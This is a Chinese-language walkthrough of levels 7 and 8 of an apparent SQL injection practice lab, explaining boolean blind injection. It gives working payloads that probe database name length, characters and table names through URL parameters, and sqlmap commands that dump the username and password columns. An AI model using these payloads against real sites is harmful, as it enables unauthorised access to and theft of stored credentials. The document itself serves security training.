第七關
1.審題
這里判斷出是'))閉合,但是頁面只有正確和錯誤的回顯狀態,報錯的回顯也是固定的,沒有顯示報錯具體信息。
這關使用的方法是布爾盲注。為什么叫布爾盲注?因為它返回的結果只有true和false?兩個值,攻擊者需要通過返回的布爾值去猜測結果,就像盲人一樣。
2.思考
(1)猜長度
length()函數是計算字符串長度,先構造一個簡單的語句。
//判斷當前數據庫名的字符串長度是否大于10;
?id=1')) and length(database()) > 10 --+
通過頁面回顯,可以判斷數據庫名稱長度大于5但是小于10,利用二分法最后猜測出數據庫名的長為8個字符。
已經知道了數據庫名的長,假設再去猜測每一位上的字符,是不是就可以得到數據庫名稱。
(2)猜位的字符
substr()函數作用是截取指定位置的字符,ascii()函數作用是返回字符的ascii碼值(0-255范圍的整數)。
//判斷數據庫名稱的第一位字符是否在大寫字母范圍內;
?id=1')) and ascii(substr(database(),1,1)) between 65 and 90--+
雖然ascii碼的值是從0-255,但字母A-Z的范圍是65-90,a-z范圍是97-122。首先判斷字符是不是字母,然后進一步縮小猜測范圍。
這里判斷出第一位字符是小寫字母,再利用二分法猜測具體字母,最后得出首字符是s。
那么通過逐步猜測,就可以拿到數據庫的名稱。再結合limit()函數去枚舉數據庫下的表名,字段,最后拿到想要的數據。
//查詢當前數據庫下第一張表的首位字符是否為小寫字母;
?id=1')) and
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)
between 97 and 122 --+
3.做法
(1)手工注入
根據思考的邏輯去逐步猜測數據。
(2)工具注入
?sqlmap的簡單使用
//查詢數據庫
sqlmap -u 'http://xx.xx.xx/?id=1' --dbs
//查詢指定數據庫security中的表
sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' --tables
//查詢指定表users中的字段
sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users' --columns
//查詢指定字段的數據
sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users'? -C'username,password' --dump
?
第8關
這里也只有兩種頁面顯示,圖二沒有任何回顯,但可以理解為報錯,實際上這關把輸出報錯的代碼注釋掉了。
判斷出是單引號閉合,利用布爾盲注解題。